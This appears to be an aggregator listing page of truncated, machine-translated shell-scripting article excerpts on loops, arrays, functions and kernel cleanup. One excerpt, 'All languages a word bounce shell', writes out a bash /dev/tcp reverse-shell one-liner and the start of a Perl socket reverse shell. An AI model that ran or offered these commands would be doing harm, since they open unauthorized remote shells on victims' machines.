1.2-shell variable

The variables are divided into 2 types: 1 system Variable 2: User-defined variableenv Display system variable set display system variables and user-defined variablesCustom variable rule: a=1 = number cannot have spaces on either sideCan only consist

Special symbols in 1.4-shell

* Wildcard #注释 \ escape Character | Pipe character $ variable character; command delimiter!! Executes the previous command!$ the last parameter of the previous command ~ home directory & Command Background execution> correct override redirect >>

1.2-shell Structure and execution

The shell is executed in sequence according to the script command.#!/bin/bash or #!/bin/sh /bin/sh is a soft link to/bin/bash# #描述信息ls/etc/echo "This is a test script"Wq save exit, file name test.sh not necessarily. Sh end, mainly for the sake of

2.0-shell Interrupt continues to exit

Several key words in the Shell control loop break continue exit#!/bin/bash#在1-loop in the 10 sequence, if the sequence equals 5, the number is not displayed and the loop is interrupted to continue with the successor task.For i in ' SEQ 1 10 'DoIf

Shell Getting Started example

For loop with 1 2 3 4 5do echo "The value is: $loop" (double quotes and no quotes are OK, single quotes do not work, output $loop) done results:The value is:1The value Is:2The value Is:3The value Is:4The value Is:5

Ubuntu Update remove shell script for old kernel

Ubuntu often prompt to update the kernel, update several times after the/boot directory is full, and then update the hint directory no space, this time you need to remove the old kernel, before all is uname, grep, dpkg and other commands to knock,

The test of the shell face of ER

1. Write a shell procedure named Xunhuan (with a looping statement), as shown in the results of the operation.0102103210432105432106543210765432108765432102. Write a shell process called Cala, which functions as a small calculator that allows you to

Shell learns 48 days----process builds

ProcessPreface : A process refers to an instance of a program in execution . The new process consists of Fork () with the Execve () when the system call starts , and then execute , know that they have issued exit () until the system calls

Shell Scripting Exercises

20,150,722 Week Three1. Generate a log file daily according to the format xxxx-xx-xx, for example, the file generated today is 2013-09-23.log, and the disk usage is written to the file.#vi/usr/local/sbin/crontest1.sh#!bin/bashd= ' date +%f '

Shell script: Functions

The Shell also supports functions. The shell function must be defined before use.Definition and invocation of a functionThe Shell functions are defined in the following format:Function_name () { List of commands [return value]}function return

Shell script: For

Similar to other programming languages, the shell supports A for loop.The general format for A for loop is: for inch List Do command1 command2 ... CommandN DoneA list is a sequence of values (numbers, strings, and so on), each separated

Shell script: Exiting the loop

The shell also uses break and continue to jump out of the loop.Break commandIn the following example, the script enters a dead loop until the user enters a number greater than 5, using break to jump out of the loop.#!/bin/Bash while : Do

Shell Script value: operator

Arithmetic operatorsNative bash does not support simple math operations, but can be implemented with other commands, such as awk and expr,expr, which are most commonly used.Expr is an expression evaluation tool that uses it to perform evaluation

Shell script (i)

Unlike a compiled language, shell scripting is an interpreted language.When executing such a program, The interpreter (interpreter) needs to read the source code that we wrote and convert it to the target (object), which is then run by the

2.2-shell Array

A= (1 2 3 4 5) define an arrayecho $a show only 1 and cannot display all elements of the entire arrayecho ${a[@]} displays all elements of the entire array, and @ can also be written as *echo ${a[0]} displays only the first element in the array,

Shell script: Array

Bash supports one-dimensional arrays and does not qualify the size of the array, and the subscript of the array element is numbered starting with 0.Defining arraysIn the shell, the array is represented by parentheses, and the elements of the array

All languages a word bounce shell

Bash [NOT generic, related to Linux distributions, tested successfully on Ubuntu]Bash-i >&/dev/tcp/10.0.0.1/8080 0>&1PerlPerl-e ' use Socket; $i = "10.0.0.1"; $p =1234;socket (S,pf_inet,sock_stream,getprotobyname ("TCP")); if (Connect (S),

I love special topic shelling exercises----one of the compression shell exercises

One-up loading location: All the way down: whenever you encounter a big jump back, press F4 to jump to the next step, skip the loop section until a RETN return to: And then we continue to follow, always follow to a jmp if the F4 down a step, the

Peanut shell and network address translation

Network address Translation (NAT) has a port translation called NAPT that is network addressWhat NAT is:Devices inside the network are assigned private IP addresses, but NAT-enabled routers retain one or moreAn Internet IP address that is valid

Difference between reverse quotation marks (') and $ () in Shell, shell quotation marks

Difference between reverse quotation marks (') and $ () in Shell, shell quotation marks Someone asked today: Echo 'echo \\\\\\ W' echo $ (echo \\\\\\\ w) Why is the output different? This leads to another problem: is there a difference between

Total Pages: 541 1 .... 482 483 484 485 486 .... 541 Go to: GO

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.